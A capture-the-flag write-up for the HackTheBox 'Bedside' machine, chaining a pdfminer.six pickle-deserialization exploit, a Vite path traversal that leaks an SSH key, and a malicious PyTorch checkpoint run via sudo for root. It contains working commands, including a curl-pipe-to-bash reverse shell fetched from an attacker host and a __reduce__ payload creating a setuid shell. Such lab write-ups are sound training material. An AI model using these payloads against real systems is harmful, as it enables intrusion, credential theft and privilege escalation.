hackthebox / medium / linux

Bedside

Platform
HackTheBox
Difficulty
OS

Summary

Bedside is a medium Linux box held together by dangerous Python serialization on both sides of the flag. A file upload backed by pdfminer.six is abused with a known pickle-deserialization CVE for an initial shell. The internal Vite dev server on port 3000 (filtered from outside) suffers a path-traversal that leaks developer's SSH key. Finally, a sudo-runnable training script feeds a crafted torch.load() checkpoint into the same deserialization sink for a root shell.

Skills Required

  • Subdomain enumeration and vhost fuzzing
  • Basic Python pickle/torch deserialization knowledge

Skills Learned

  • Exploiting pdfminer.six (CVE-2025-64512) via file upload
  • Path traversal against an internal Vite dev server
  • Credential/key discovery through the internal service
  • RCE through torch.load() checkpoint deserialization

Enumeration

The port scan shows SSH, an Apache site, and a filtered port 3000 - worth remembering.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-19 06:30 -0400
Nmap scan report for bedside.htb (10.129.55.235)
Host is up (0.038s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp   open     http    Apache httpd 2.4.68 (Debian)
3000/tcp filtered ppp

Vhost fuzzing reveals a subdomain.

ffuf -u http://bedside.htb -H 'Host: FUZZ.bedside.htb' \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 21

research   [Status: 200, Size: 3152]

Foothold

pdfminer.six pickle RCE

research.bedside.htb hosts a file upload. A response header gives away the backend:

X-Powered-By: pdfminer.six

pdfminer.six is vulnerable to CVE-2025-64512: a crafted PDF can smuggle a pickle.gz file that gets deserialized on the server. The PoC ships two helpers - mkpickle.py builds a gzipped pickle whose payload is our command, and mkpdf.py wraps it in a PDF with a configurable extraction path.

python mkpickle.py 'curl http://[IP]:8000/rev.sh | bash' pwn.pickle.gz
[+] pwn.pickle.gz (106 bytes)
    cmd: curl http://[IP]:8000/rev.sh | bash

python mkpdf.py -o pwn.pdf -p '/var/www/research.bedside.htb/uploads' pwn
[+] pwn.pdf -> /var/www/research.bedside.htb/uploads/pwn.pickle.gz

The extraction path had to point at the vhost's document root (/var/www/research.bedside.htb/uploads) - getting that wrong is what stalled the foothold. Uploading the crafted PDF triggers the pickle, and a reverse shell lands as datawrangler.

Lateral Movement

Internal Vite dev server

LinPEAS finds nothing exciting, but the filtered port 3000 from the scan is bound locally. Curling it from the shell reveals a React image viewer built with Vite/esm.sh.

curl localhost:3000
  <title>Bedside Clinic - Image Viewer</title>
  ... import React from './vendor/react.js' ...
  <script type="module">import createHotContext from"/@hmr";...
  💚 Built with esm.sh/x

Path traversal → SSH key

Vite dev servers are vulnerable to path traversal. With --path-as-is we read files from outside the web root.

curl --path-as-is http://localhost:3000/../../../../etc/passwd
developer:x:1000:1000:developer,,,:/home/developer:/bin/bash

curl --path-as-is http://localhost:3000/../../../../home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----

The leaked private key logs us in as developer.

ssh -i id_dev developer@bedside.htb

Privilege Escalation

sudo - bedside_trainer.py

developer can run a training script as root without a password.

sudo -l
User developer may run the following commands on bedside:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

The trainer reads model checkpoints from /datastore/checkpoints (and requires an image in /datastore/processed). PyTorch checkpoints are pickles - a malicious .pt gives us a __reduce__ RCE when the trainer calls torch.load().

Chaining the upload back into the datastore

We drop a malicious zip through the research upload, have datawrangler extract the checkpoint into the datastore, and plant a dummy processed image so the trainer runs.

# developer shell - create a malicious checkpoint + zip, upload it
python3 -c 'import torch,os;E=type("E",(),{"__reduce__":lambda s:(os.system,("cp /bin/bash /usr/local/bin/rootbash;chmod 4755 /usr/local/bin/rootbash",))});torch.save(E(),"root.pt")'
python3 -c "import zipfile;z=zipfile.ZipFile('root.zip','w');z.write('root.pt');z.close()"
curl -s -F 'uploadFile=@root.zip;type=application/zip' http://research.bedside.htb/ >/dev/null

# datawrangler shell - extract into the datastore + dummy processed image
python3 -c "import zipfile;zipfile.ZipFile('/var/www/research.bedside.htb/uploads/root.zip').extract('root.pt','/datastore/checkpoints')"
touch /datastore/checkpoints/root.pt
echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII= | base64 -d >/datastore/processed/x.png

Running the trainer as root deserializes the checkpoint, which copies /bin/bash to /usr/local/bin/rootbash with the setuid bit - and we get a root shell.

# developer shell → root
sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py >/dev/null 2>&1
/usr/local/bin/rootbash -p -c 'id; cat /root/root.txt'

If rootbash doesn't exist yet, clear the processed dir and touch a fresh checkpoint, then re-run:

# datawrangler
find /datastore/processed -mindepth 1 -type f -delete
echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII= | base64 -d >/datastore/processed/x.png
touch /datastore/checkpoints/r3.pt

# developer
sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py >/dev/null 2>&1
ls -l /usr/local/bin/rootbash
/usr/local/bin/rootbash -p -c 'id; cat /root/root.txt'

Key Takeaways

  • Filtered ports are still attack surface - port 3000 was only reachable from inside, and it was the pivot to a shell.
  • File uploads + deserialization libraries are RCE by default: pdfminer.six pickles, torch checkpoints are pickles - same sink, two boxes.
  • Vite dev servers ship path traversal out of the box; never run them on anything that can be reached by a shell.
  • Get the document root right - payload extraction paths are vhost-specific, and a wrong one fails silently.